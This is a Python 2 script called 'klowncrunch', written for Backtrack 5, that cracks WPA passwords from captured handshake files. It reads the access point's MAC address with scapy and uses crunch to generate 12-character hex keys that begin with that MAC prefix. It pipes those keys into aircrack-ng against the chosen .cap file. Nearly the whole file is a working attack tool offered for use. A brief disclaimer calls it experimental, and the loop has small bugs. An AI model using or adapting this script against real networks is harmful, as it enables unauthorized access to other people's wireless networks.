klowncrunch.py

#!/usr/bin/python

# klowncrunch

# Written by Capt_Noobius

# For use with Backtrack 5

#

# -- THIS IS SCRIPT IS PURELY FOR EXPERIMENTAL PURPOSES AND MAY NOT ACTUALLY WORK ;)

#

# Your .cap file must be the name of the network you are cracking. Eg. MyNetwork must be MyNetwork.cap

# Your .cap file may need to be cleaned with WPAclean for this script to work properly

# WPAclean usage: wpaclean <new name of cap> <cap you want cleaned>

import os

import sys

import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

from scapy.utils import rdpcap

path = '/root/Desktop/' # change to the directory you keep your cap files

hccap = '.hccap' #not supported

pcap = '.cap'

def logo_header():

print

print """

_ _ _

| | _| | _____ ___ __ ___ _ __ _ _ _ __ ___| |__

| |/ / |/ _ \ \ /\ / / '_ \ / __| '__| | | | '_ \ / __| '_ \

| <| | (_) \ V V /| | | | | (__| | | |_| | | | | (__| | | |

|_|\_\_|\___/ \_/\_/ |_| |_| \___|_| \__,_|_| |_|\___|_| |_|

by Capt_Noobius

"""

def capfile_options():

logo_header()

global ssid

global handshake

capfile_essid_stripped= os.path.splitext(os.path.basename(cap_selection))[0]

ssid= '"' + capfile_essid_stripped + '"'

cap_file= ''

if any(cap_selection.endswith(hccap) for ext in hccap):

print

print "hccap files not supported. Please use a .cap file"

sys.exit()

if any(cap_selection.endswith(pcap) for ext in pcap):

handshake= ssid+pcap

def capfile_menu():

logo_header()

global cap_selection

global cap_file

dirList=sorted(os.listdir(path))

for i in range(0,len(dirList)):

print "%d)" % (i+1), dirList[i]

selected = raw_input("Enter the number of the cap file you would like to crack: ")

selected = int(selected)

cap_selection= dirList[selected-1]

capfile_options()

def klown_crunch():

pkts=rdpcap(path+cap_selection,1)

p=pkts[0]

for pkt in pkts:

mac_address= p.addr2

mac_replace = mac_address.replace(':', '')[:10].upper()

crunch_two='@@'

crunch_main= '/pentest/passwords/crunch/./crunch 12 12 -f /pentest/passwords/crunch/charset.lst hex-upper -t %s%s | aircrack-ng -e %s %s -w-' % (mac_replace,crunch_two,ssid,path+handshake)

os.system(crunch_main)

capfile_menu()

klown_crunch()